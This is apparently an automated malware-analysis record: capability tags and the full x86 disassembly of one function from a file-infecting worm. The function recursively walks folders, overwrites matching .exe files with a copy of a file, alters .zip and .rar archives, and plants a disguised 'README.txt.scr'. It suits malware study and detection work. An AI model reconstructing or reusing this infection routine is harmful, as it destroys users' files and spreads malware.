Function at 0x402630
Capabilities:
Copy file
Delete file
Enumerate files on windows
Enumerate files recursively
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
mov dword [ebp - 4], 0
push 0x104
push 0
lea eax, [ebp - 0x360]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x258]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x148]
push edx
push 0x40786c
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xffffffff
je 0x4028e3
movsx eax, byte [ebp - 0x11c]
cmp eax, 0x2e
je 0x4028ba
mov ecx, dword [ebp - 0x148]
and ecx, 0x10
mov dword [ebp - 0x148], ecx
je 0x4026d9
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
cmp eax, 1
jne 0x4026d4
call fcn.00402630
push 0x407870
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
jmp 0x4028ba
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x258]
push ecx
push 0x104
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameA]
test eax, eax
je 0x4028ba
push str.Recycle.Bin
lea eax, [ebp - 0x258]
push eax
call fcn.00401200
add esp, 8
test eax, eax
jne 0x4028ba
lea ecx, [ebp - 0x258]
push ecx
lea edx, [ebp - 0x360]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x360]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
mov dword [ebp - 0x364], 0
jmp 0x402758
mov ecx, dword [ebp - 0x364]
add ecx, 1
mov dword [ebp - 0x364], ecx
cmp dword [ebp - 0x364], 9
jae 0x4028ba
mov edx, dword [ebp - 0x364]
mov eax, dword [edx*4 + 0x4090c4]
push eax
lea ecx, [ebp - 0x360]
push ecx
call fcn.00401200
add esp, 8
test eax, eax
je 0x4028b5
lea edx, [ebp - 0x360]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
je 0x4028b5
push str..exe
mov eax, dword [ebp - 0x14c]
push eax
call fcn.00401200
add esp, 8
test eax, eax
je 0x4027f6
push 0x80
lea ecx, [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0
lea eax, [ebp - 0x258]
push eax
call fcn.00402540
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push str..zip
lea ecx, [ebp - 0x360]
push ecx
call fcn.00401200
add esp, 8
test eax, eax
je 0x40284f
push 0x80
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x407890
lea ecx, [ebp - 0x258]
push ecx
call fcn.00402540
push eax
call fcn.00405b50
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push str..rar
lea edx, [ebp - 0x360]
push edx
call fcn.00401200
add esp, 8
test eax, eax
je 0x4028ad
push 0x80
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x80
push str.README.txt.scr
call fcn.00402540
push eax
lea edx, [ebp - 0x258]
push edx
call fcn.00402a10
add esp, 0x10
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402749
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x402691
mov edx, dword [ebp - 0x150]
push edx
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov esp, ebp
pop ebp
ret